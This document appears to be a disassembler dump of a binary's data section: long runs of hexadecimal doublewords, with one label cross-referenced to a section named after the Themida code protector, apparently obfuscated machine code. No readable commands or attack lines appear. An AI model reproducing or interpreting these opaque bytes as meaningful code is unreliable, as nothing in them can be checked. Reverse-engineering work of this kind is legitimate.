		dd 0DE013CAEh, 89546BA3h, 0EA81D85h, 57006A06h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 4CBA2A78h
		dd 8934D34Bh, 0B0D0995h, 0D7816606h, 0DAE951F6h, 6A000001h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1C042444h
		dd 40000000h, 2664C350h, 7A7D18D0h, 60059A6Eh, 10759501h
		dd 8589060Bh, 60B02E5h,	15858B61h, 6A060EA8h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
		dd 9C86C357h, 6D8D01D4h, 0C7060B13h, 1800h, 13E900h, 0DD750000h
		dd 0ED07A31Ah, 53FDA90Ah, 8C97D4D1h, 59D75859h,	19B58B81h
		dd 89060EA8h, 0B0E9DBDh, 8BACB706h, 0B06E185h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1A04h, 0C3564600h
		dd 81A85C73h, 0BB1180DCh, 7C3CCB89h, 6A0689h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 43E788C3h
		dd 1A3B97D9h, 1D9D8B11h, 0F9060B15h, 317D858Bh,	0FE9060Bh
		dd 0AA000000h, 21366CE3h, 0BFE5AF44h, 18C70BA7h, 816680EAh
		dd 89F22CDBh, 50960446h, 0FBB96660h, 38B0F6Ah, 66000000h
		dd 9661DE8Bh, 0C1BD2960h, 0E8060B06h, 9, 0F303C862h, 4F334E99h
		dd 9DD881B1h, 5A533A19h, 15B5FF61h, 68060EA8h, 920F6EDFh
		dd 20240481h, 6A6E0F95h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 88D3C351h, 1BB2BE73h
		dd 51C8209Ah, 292D9589h, 858D060Bh, 60EA81Dh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0D0C35343h, 36B86509h
		dd 509C4245h, 0F88A5250h, 0B060310Fh, 9DBE66DEh, 585A61F2h
		dd 6A240489h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 276BC353h, 14BB2276h, 0D195FF9Ch
		dd 89060B03h, 0B2189BDh, 6A6106h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 190424h, 56460000h, 8293B1C3h, 0C7B675D1h
		dd 0B100985h, 306h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1604h, 0C3504000h, 8A66B6BAh, 1DBD83FEh
		dd 60EA8h, 52840Fh, 6A0000h, 3E855h, 5D200000h,	6C895DC3h
		dd 44810424h, 180424h, 55450000h, 0B56731C3h, 0B50997D5h
		dd 60B27DDh, 42E9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1A04h, 0C3574700h, 83E06193h, 0BB940FF8h
		dd 3F6B4BA7h, 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch
		dd 7504E983h, 5036EBE7h, 110430h, 0C1011164h, 443010E8h
		dd 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h
		dd 44300311h, 28580211h, 30011164h, 0E9831104h,	0EBE77504h
		dd 81C08B00h, 8E2ADF7h,	6E95Fh,	6700000h, 1CCDADD8h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 65C35343h, 0BD836AC9h
		dd 60B1009h, 8850F03h, 83000004h, 0EA81DBDh, 840F0006h
		dd 3FBh, 5718D89h, 0B5FF060Bh, 60EA81Dh, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 17h, 59C35343h, 0F4B62A9h
		dd 286h, 0E945B300h, 10h, 10F765DEh, 0E41A509h,	3E97668Ch
		dd 20BF883Fh, 83D95FFh,	6A060Bh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 170424h, 55450000h, 0CAC4FCC3h, 3D858940h
		dd 8B060B10h, 0EA811B5h, 6860F06h, 89000000h, 0B1A858Dh
		dd 106C706h, 6A000100h,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 3E6EC353h, 0FDE7C230h
		dd 0C9958931h, 50060B0Dh, 28D0Fh, 0F88B0000h, 0FC243489h
		dd 0A81DB5FFh, 6A060Eh,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 1D0424h, 53430000h, 9C7597C3h, 0B17EA9ADh, 66FE3F44h
		dd 0E13DEB81h, 64195FFh, 0CE8060Bh, 48000000h, 51B5CB7Fh
		dd 83D7E214h, 0E95F4F21h, 13h, 16AC8A59h, 40EF6AB6h, 0A1BE8043h
		dd 0C0CB2C0Eh, 5B29F951h, 0A811B58Bh, 19BB060Eh, 8B2CC8E3h
		dd 0B121D85h, 8DEB8006h, 0C48689h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 36060C3h
		dd 0B16318Dh, 61F18B06h, 174D958Bh, 6A060Bh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 170424h, 53430000h, 155164C3h
		dd 4C28391h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ch,	3AC35141h, 0F2C55C7Eh, 0B82F18h, 0CE9h,	9B1D6E00h
		dd 0BBED7EADh, 0DC12D329h, 205089CBh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 0EDC35747h,	4556E474h, 0D88EB7A2h
		dd 8DDC8AA5h, 0EBAEE85h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1904h, 0C3554500h, 8E9AA192h, 89501CC5h
		dd 0B0BADBDh, 86895F06h, 0B8h, 16A59D8Bh, 6A060Bh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 54C35646h, 0FE09EB08h
		dd 9531A9E7h, 60B2B79h,	0A81DB5FFh, 12E9060Eh, 26000000h
		dd 0B480197Fh, 0E02F3081h, 746B8341h, 0C72FEDAAh, 1595FF4Ch
		dd 6A060B0Fh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1C042444h, 42000000h, 1CD6C352h, 4BFCBE15h, 0F80C5023h
		dd 24348950h, 1DB5FFF5h, 3060EA8h, 0B01B5BDh, 8E906h, 62470000h
		dd 29B6C709h, 95FF2480h, 60B00F5h, 0C860Fh, 830F0000h
		dd 6, 0D09BD8Bh, 0BD83060Bh, 60B2191h, 27840F00h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 6B49C355h, 8B605250h, 895F61C6h, 0B5FF2434h
		dd 60EA81Dh, 128195FFh,	6A060Bh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 190424h, 53430000h, 5FA085C3h, 0FFDBFCAEh
		dd 0EA81DB5h, 552BBF06h, 95FF0F0Dh, 60B0B8Dh, 17F1BD83h
		dd 0F02060Bh, 7484h, 51006A00h,	3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1504h, 0C3514100h, 0B5896F05h, 60B2E65h
		dd 2EC5858Bh, 6A060Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 3CDCFDC3h, 0FC1B7C2Fh, 0C6B136h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1704h
		dd 0C3524200h, 0C6E14BDh, 8FC38166h, 0B985C7B6h, 60B06h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 0CBF0C351h, 11DE3FE4h,	85F381E6h
		dd 0F21D8A5h, 68Eh, 0C9BD8B00h,	0E9060B31h, 0FFFFF2FDh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0F8C35343h
		dd 0E90FC4DFh, 7, 0D527205Fh, 8B406FC1h, 0D8BF0FC1h, 28A9858Dh
		dd 8A0F060Bh, 16h, 11E9h, 0C94CA000h, 79C388C3h, 82AD57EAh
		dd 0B37F40DBh, 8B50EEFCh, 240489FAh, 1B4D8589h,	6A060Bh
		dd 0D2A4BF66h, 6A006Ah,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 0AAFE82C3h, 510386DFh, 858DF33Ah
		dd 60F60FEh, 83FCD98Bh,	6A05C0h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 170424h, 56460000h, 6214D1C3h, 9D0BFC88h
		dd 60B2AE1h, 52505050h,	310F5250h, 310F585Ah, 8E0Fh, 585A0000h
		dd 2404895Fh, 5519529h,	6A060Bh, 0E855006Ah, 3,	5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 1FC35545h, 50F0A907h, 6A7B2933h
		dd 9531FC00h, 60B0E85h,	2F2195FFh, 61BF060Bh, 8D110C25h
		dd 0EA7B08Dh, 0D6BF6606h, 6AD1FFECh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0BC3C353h
		dd 66485C93h, 9589FE8Bh, 60B0CBDh, 0B19BD83h, 0F01060Bh
		dd 7D85h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1604h, 0C3504000h, 0BBC79E82h, 5B70AC8Eh, 0E960026Ah
		dd 0Dh,	7F3ED737h, 69FEB321h, 0C25789B0h, 61F38B54h, 6FBB6650h
		dd 24048939h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 1Bh,	5BC35545h, 0ED597BC4h, 0FF903A1Ch, 0B0F1595h, 0CE906h
		dd 0A6330000h, 416DBFEBh, 99EE8D86h, 31E98033h,	0E800000Eh
		dd 0
		dd 8ED815Dh, 6A060F61h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 242FC356h, 3D9DD999h
		dd 668D47F4h, 858DD98Bh, 60E9293h, 51BD8B53h, 5B060B1Fh
		dd 70BB6650h, 24048918h, 64DBBF0Fh, 35FFh, 8B0F0000h, 2
		dd 8964FD8Ah, 25h, 50006A00h, 3E8h, 0C3582000h,	24448958h
		dd 24448104h, 1504h, 0C3504000h, 0F7812A6Fh, 50DBDB5Eh
		dd 66D85FFh, 6A060Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 1FC5E3C3h, 0AC008A85h, 6AFF6AC4h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 18042444h
		dd 45000000h, 1A72C355h, 0E8BBEB42h, 11h, 0D4C11844h, 78454407h
		dd 57F7023Fh, 0D9402530h, 0B5FF5B26h, 60B1B7Dh,	2719589h
		dd 95FF060Bh, 60B2411h,	12EE9h,	2648BF00h, 0B00955h, 0E6D88B66h
		dd 0E8FE8B70h, 7, 0F87003D7h, 3FD2DF2h,	0B18999Dh, 71E45F06h
		dd 1A35BD8Bh, 60BF060Bh, 3C2FF8A8h, 0F8830F61h,	89000000h
		dd 0B297185h, 0C8B60F06h, 0CE8h, 49A07F00h, 713B040Eh
		dd 42CD23B6h, 5FFE8BD4h, 6E9h, 32A40900h, 0BA4E856Bh, 6
		dd 58EF8166h, 8BC18B77h, 0B2A3D9Dh, 4E8C106h, 1EDB8166h
		dd 0E2F7663Dh, 3ACB8152h, 5F12BFE7h, 9D8BC82Bh,	60B2131h
		dd 0A422F381h, 0D18B65E2h, 13E9F88Bh, 0E9000000h, 0Ah
		dd 0B04454AAh, 3DAE4EDAh, 0BF664587h, 858BA8FCh, 60B15E1h
		dd 75FBF66h, 8B07C083h,	0B087D9Dh, 0BD8B5706h, 60B18E5h
		dd 0C0835Bh, 15718D31h,	9D8B060Bh, 60B059Dh, 830FD03Bh
		dd 13h,	2B39BD89h, 44E9060Bh, 89000000h, 0B04119Dh, 8BA6B306h
		dd 0B1A9D8Dh, 4880F06h,	66000000h, 83DCBCBFh, 840F01E1h
		dd 23h,	800Fh, 0A5830000h, 60B1A9Dh, 8A0FFEh, 89000000h
		dd 0B15E195h, 0EF816606h, 0E9BC95h, 8D000000h, 0EE370B5h
		dd 9870F06h, 60000000h,	2F558D29h, 61F8060Bh, 820F006Ah
		dd 6, 0E35BD89h, 95FF060Bh, 60B32DDh, 19820Fh, 14E90000h
		dd 63000000h, 1247837Dh, 0C2FA0048h, 2319B0D9h,	41BEA01Eh
		dd 0B9328EF1h, 86Ch, 0FCE183F8h, 55006AFCh, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 63CE4870h
		dd 0AE8h, 0DCEB8D00h, 5BE4A752h, 0FBB256Dh, 388h, 0FEBF0F00h
		dd 13E95Fh, 533B0000h, 0EAC41C57h, 86CB5AF4h, 0D2BC7067h
		dd 0E794D2B5h, 6AC02BEFh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 0CCB6C355h,	66DF8B51h
		dd 9F0FDB81h, 0BAh, 158D8900h, 0AD060B14h, 0E8D1C233h
		dd 0E983D003h, 6AF47504h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 798C351h, 3CB7F48h
		dd 0B07419Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1604h, 0C3504000h, 0E88FAD52h, 0Dh, 4565D40Fh, 93EE47BFh
		dd 74AEC7B1h, 15BD892Fh, 5F060B2Eh, 880Dh, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h
		dd 89CB4D0Dh, 0B1A1985h, 4D958B06h, 89060B17h, 0B1935B5h
		dd 198D8B06h, 6A060B01h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 7A54C352h, 50FA8BFFh
		dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h,	53006A58h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 7AC843C8h, 8B94280Bh, 0E3BF66FAh, 0BDBD838Dh, 60B29h
		dd 91840Fh, 6A0000h, 3E851h, 59200000h,	4C8959C3h, 44810424h
		dd 150424h, 51410000h, 669B68C3h, 511C24BBh, 17D59D8Bh
		dd 0B85F060Bh, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0B7C35747h
		dd 42B903EEh, 0ABBC888h, 8D716E20h, 0B4DD78Dh, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 0E9870E0Ah, 0Fh, 9C3717FCh, 91358DD7h, 481403Dh, 0FF853D74h
		dd 83DD8AE1h, 0B1009BDh, 840F0006h, 489h, 9BD83F9h, 1060B10h
		dd 496840Fh, 0F600000h,	281h, 315A5100h, 0B13D9BDh, 9D0B6106h
		dd 60B28A5h, 1009BD83h,	0F03060Bh, 43D86h, 51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h
		dd 6A6033h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 6EA8E3C3h, 850F5258h, 6, 0B89B501h, 8C66060Bh
		dd 0DD9D89D9h, 80060B04h, 0BF0F04E1h, 0FC90AFEh, 12484h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1404h
		dd 0C3534300h, 10E9D0h,	0B8C70000h, 0C6F6C5E8h,	2BBB374Ch
		dd 7CBB0A47h, 858B5667h, 60B317Dh, 0FE8h, 0BD14FA00h, 1B5F73B7h
		dd 0A7FA7FB1h, 0A0FCEDCh, 335FD88Bh, 0B06ED85h,	8B669006h
		dd 319050FAh, 0B28299Dh, 0F006A06h, 685h, 318D8900h, 0E8060B0Bh
		dd 4, 1F03FFh, 0AE9h, 2DBFAB00h, 59481168h, 50A136ECh
		dd 0F2F7F3BFh, 24448B17h, 50008B04h, 50310F52h,	0F88B6652h
		dd 5250310Fh, 585A310Fh, 585A585Ah, 4244489h, 0CBB1BF66h
		dd 71D3BB58h, 14E92654h, 2D000000h, 7580E0E8h, 6365829Fh
		dd 9F69EA3h, 5BAE0413h,	0FF8B35FFh, 0B03D195h, 0AE906h
		dd 91D00000h, 0CE905D72h, 41D2F0BBh, 0A81D8589h, 0BE9060Eh
		dd 22000000h, 8F1F35Bh,	58283F1Eh, 3DE9927Ch, 6A000002h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 1952C351h, 66002C1Dh, 8B66DF8Bh, 15858BD9h
		dd 0E9060EA8h, 0Bh, 6807787Dh, 221680ABh, 0C779589Bh, 1800h
		dd 8BDD8A00h, 0EA819B5h, 5FDFBF06h, 858B0809h, 60B06E1h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0EAC35747h
		dd 1161724Dh, 0CBE9E987h, 8E96Fh, 0B480000h, 55A4DAE6h
		dd 689551Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 16h,	68C35646h, 858BF010h, 60B317Dh,	0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 16h, 30C35343h, 810F5064h
		dd 6, 0B599D23h, 6660060Bh, 0F5A81B9h, 68Eh, 999D8900h
		dd 61060B29h, 8B044689h, 0B0E6D9Dh, 0DF816606h,	0F96C5CEh
		dd 0E8Ch, 50525000h, 5A310F52h,	60310F58h, 50585A61h, 66F78B60h
		dd 619DBFBAh, 55006A96h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1A04h, 0C3554500h, 83BF21D3h, 0FF0A6609h, 0EA815B5h
		dd 91BD8906h, 31060B05h, 0B1A1185h, 4E806h, 3FF0000h, 0BF66001Fh
		dd 0E9506CC6h, 7, 25280296h, 8BE46D48h,	50042444h, 0C18A6052h
		dd 8F0Fh, 0F610000h, 0F525031h,	0D678BB31h, 585A547Ah
		dd 8B585Ah, 4244489h, 0FBC3BB66h, 53006A58h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 9149ED74h
		dd 85895369h, 60B2225h,	0EE85Bh, 8EB0000h, 0F60D09C8h
		dd 0AB7C5FBEh, 88E40604h, 0BE960h, 20150000h, 8FFB44FDh
		dd 0B6536CAEh, 6161608Dh, 1D858D5Bh, 6A060EA8h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 1DB8C356h, 8141B375h, 98B981DFh, 5E85058h, 8000000h
		dd 6F27BAA7h, 6880Fh, 8E0F0000h, 0
		dd 2404895Fh, 2EF5BD01h, 9D8B060Bh, 60B1A85h, 3D195FFh
		dd 8D89060Bh, 60B007Dh,	0DEBF0F61h, 100985C7h, 3060Bh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
		dd 51410000h, 6C7171C3h, 0CE6A5F3Ch, 87D8589h, 9D29060Bh
		dd 60B19F5h, 0A81DBD83h, 0F00060Eh, 5984h, 50006A00h
dword_582A68	dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
					; DATA XREF: Themida_:005521C1o
		dd 53499F02h, 0F98A45FDh, 4CE9h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 0F5D10209h
		dd 0D7ECD87h, 820F1B25h, 6, 0B9BB6652h,	30505BA7h, 4400110Ch
		dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h
		dd 4305036h, 11640011h,	10E8C101h, 2114430h, 3116400h
		dd 4E98358h, 1BEBE775h,	10E8C150h, 3116428h, 2114430h
		dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 159D89C0h
		dd 0B7060B09h, 9BD835Ah, 3060B10h, 471850Fh, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 89E71EC3h, 1F4286ECh, 830CDB80h, 0EA81DBDh, 840F0006h
		dd 43Fh, 0E852006Ah, 3,	5AC35A20h, 4245489h, 4244481h
		dd 18h,	0FFC35242h, 0E6BDBDEAh,	2E8D9D8Bh, 0B5FF060Bh
		dd 60EA81Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 16h,	20C35242h, 0BB66A64Ah, 95FFB723h, 60B083Dh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 44C35646h, 0D287342Fh
		dd 11B58B5Eh, 6A060EA8h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 0FB9BC351h,	0AF742E94h
		dd 0D2296855h, 1D88B66h, 0B29B9B5h, 106C706h, 6A000100h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 16042444h
		dd 40000000h, 1420C350h, 12E823h, 0E25C0000h, 0ADF7E0Fh
		dd 0FCADC123h, 53A458C0h, 283C87EEh, 1F618501h,	8B5F060Bh
		dd 0F88B96DFh, 0B6606050h, 0C88B666Bh, 0C18B6661h, 81669661h
		dd 898A54D7h, 0B12898Dh, 1DB5FF06h, 0E8060EA8h,	12h, 0A268488Ah
		dd 231EE4BCh, 0C025B075h, 0E4C098ABh, 0B5312DD2h, 60B0305h
		dd 4195FF5Bh, 0E8060B06h, 0Dh, 30EB0133h, 0EF95BCE9h, 0E27FE905h
		dd 84DF8060h, 11B58B5Fh, 6A060EA8h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 5CAEC351h
		dd 0B70FDE8Bh, 1D858BFBh, 0F060B12h, 581h, 3193BB00h, 86891950h
		dd 0C4h, 0E852006Ah, 3,	5AC35A20h, 4245489h, 4244481h
		dd 14h,	0E7C35242h, 32359529h, 958B060Bh, 60B174Dh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0F1C35747h, 0FB5708F0h
		dd 8CB8110h, 835AD1E0h,	0F98B04C2h, 6A205089h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
		dd 66C2C352h, 90DE781h,	0BAEE858Dh, 890F060Eh, 6, 135D8D29h
		dd 8689060Bh, 0B8h, 6AFA8B66h, 56006A00h, 3E8h,	0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 21085A9Bh
		dd 3B795266h, 1DB5FF94h, 89060EA8h, 0B0B1195h, 0EE906h
		dd 0E8E10000h, 71B8B6C4h, 8AD1B115h, 50F936D4h,	0F1595FFh
		dd 0B70F060Bh, 525096F8h, 0BE9h, 6078D000h, 0D9B63761h
		dd 53AB890Ch, 0F88B310Fh, 0F50585Ah, 28Dh, 96FB8B00h, 10860Fh
		dd 0BE90000h, 0F0000000h, 0B6F34A67h, 0C53CD26Dh, 0B5FFCE12h
		dd 60EA81Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ch,	0A7C35646h, 829B1C5Ch, 9C947189h, 0D776FABFh, 0F595FF0Fh
		dd 89060B00h, 0B00058Dh, 91BD8306h, 60B21h, 2A840Fh, 6FBB0000h
		dd 50672527h, 68B75051h, 34895B5Bh, 66576024h, 575BC681h
		dd 5D958B5Ah, 61060B33h, 6800Fh, 0F7810000h, 2BCE559h
		dd 0A81DB5FFh, 0AE8060Eh, 0FF000000h, 0EFA5B75Fh, 54988F15h
		dd 0B58D8972h, 5B060B29h, 128195FFh, 6A060Bh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 8BA211C3h
		dd 5F45C5C1h, 1235BD8Bh, 0FE8060Bh, 5000000h, 0AA157076h
		dd 454EA24h, 0C6AF0F19h, 9589D1FBh, 60B17CDh, 1DB5FF5Bh
		dd 60060EA8h, 2DD9D31h,	0BD89060Bh, 60B0715h, 8D95FF61h
		dd 6A060B0Bh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 14042444h, 43000000h, 0E801C353h, 14h, 6C46973Eh, 0A5E94ABh
		dd 2BC7A47Ch, 39F7C93h,	0E32E5D78h, 21899D8Bh, 835F060Bh
		dd 0B17F1BDh, 840F0206h, 2Dh, 6890Fh, 0BD890000h, 60B1649h
		dd 2EC5858Bh, 6660060Bh, 0F1C14BAh, 685h, 898D8900h, 61060B1Fh
		dd 8B0000C6h, 0B0F719Dh, 0B985C706h, 60B06h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 72EC357h,	0B7E8BA0Eh, 8C0F3EB4h, 3, 0E9FEB70Fh
		dd 0FFFFF2B9h, 259D8960h, 89060B21h, 0B31A58Dh,	0C18B6106h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 70C35040h
		dd 57FE8B26h, 6E9h, 471F7700h, 5FC0FA0Eh, 28A9858Dh, 0E856060Bh
		dd 10h,	0BFC54373h, 0A46EDCC7h,	8CA35999h, 8F4CBEE5h, 5FFA8B66h
		dd 0DE8505Bh, 52000000h, 0F0D6A89Bh, 0FC527BE7h, 0C7B2B21Fh
		dd 0E181BF66h, 2404895Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 15h, 0E2C35343h, 3DB50144h, 8B060B2Ah, 0B15299Dh
		dd 6A006A06h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 34D6C356h, 0D36C2E7Ch,	0E8006A47h
		dd 12h,	0B35EAF97h, 931E142Dh, 2D6632E1h, 57DC569h, 8D5BEE7Fh
		dd 0F718885h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1C04h, 0C3554500h, 5E4D9E88h, 0FA8C22C1h, 5D9D8BB6h
		dd 83060B07h, 7CBB05C0h, 900F7FEAh, 61606060h, 0F234BF66h
		dd 61F38B61h, 6A9050h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 190424h, 53430000h, 0FBD09FC3h, 60A0988Bh, 898D8960h
		dd 0F060B21h, 8Bh, 0C1806100h, 6A6184h,	0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 1Ah, 0EDC35242h, 643D8DEFh
		dd 69BB718Fh, 6A4CCC3Fh, 99DB8100h, 6061910Fh, 81663AB3h
		dd 6112A1CAh, 2F2195FFh, 0CB81060Bh, 38CA0163h,	0A7B08D8Dh
		dd 6A060Eh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
		dd 51410000h, 8BA9A1C3h, 0B0C0D9Dh, 6AD1FF06h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 0BE63C352h, 892EF322h, 0B22F595h, 6E806h, 0D8510000h
		dd 7FDE250Eh, 835BFB8Bh, 0B0B19BDh, 850F0106h, 84h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 7CC35141h, 0D4C11844h
		dd 78454407h, 6A026Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 170424h, 57470000h, 899326C3h, 810F5020h, 8,	28D0Fh
		dd 61600000h, 6A240489h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 18042444h, 40000000h, 4312C350h, 6688205Ah
		dd 95FFDF8Bh, 60B0F15h,	8C30BF66h, 0C98E9h, 0E800h, 815D0000h
		dd 0F7192EDh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1504h, 0C3564600h, 0F3804CCEh, 0FFB70F92h, 0E853006Ah
		dd 3
		dd 5BC35B20h, 4245C89h,	4244481h, 17h, 82C35343h, 8B14D7EDh
		dd 93858DDFh, 8B060E92h, 0B0415BDh, 65BB5006h, 89528DA7h
		dd 6A2404h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
		dd 56460000h, 617763C3h, 0ADBF661Ch, 35FF642Dh,	0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 86C35747h
		dd 258964h, 0FF000000h,	0B066D85h, 0A1BD0306h, 6A060B18h
		dd 56006AFFh, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1804h
		dd 0C3564600h, 36FBEDBEh, 5E8B6h, 0F02F0000h, 50E4DAA6h
		dd 0CF9BD8Bh, 5F5F060Bh, 2A41B5FFh, 6A060Bh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 160424h, 57470000h, 5DAC87C3h
		dd 1195FFF9h, 0E9060B24h, 105h,	0EE9h, 57B0D700h, 442F54B3h
		dd 0F1EF81ADh, 0B04B9ACCh, 0DB816600h, 70E6B93Dh, 21DDB589h
		dd 0EB81060Bh, 28596202h, 3CFC71E4h, 0D2830F61h, 33000000h
		dd 0B28F5BDh, 0C8B60F06h, 0E45B589h, 6BA060Bh, 0F000000h
		dd 0C18BFAB7h, 7E9h, 6132EA00h,	616A2851h, 6604E8C1h, 28B3E2F7h
		dd 9D8BC82Bh, 60B2B41h,	0D381D18Bh, 783DF91Ch, 6E9h, 71BD8B00h
		dd 8B060B24h, 0B042D85h, 2422BB06h, 0C0833A0Fh,	8E96007h
		dd 1C000000h, 6096B030h, 8BFCC79Fh, 0C08361F3h,	61858900h
		dd 3B060B2Fh, 19830FD0h, 89000000h, 0B05C1BDh, 4FE906h
		dd 9E90000h, 0CD000000h, 0CA6D7E2Dh, 13E9819Fh,	29858D8Bh
		dd 8589060Bh, 60B0CA1h,	0F01E183h, 2C84h, 0EB816600h, 83F5019Bh
		dd 0B2985A5h, 880FFE06h, 0
		dd 2D9589F8h, 0E9060B04h, 8, 0D25875Dh,	0EFACF9DAh, 0E9h
		dd 0C0B58D00h, 0E9060EEDh, 0Fh,	70A8B3Dh, 56A0866Ah, 8F1E9869h
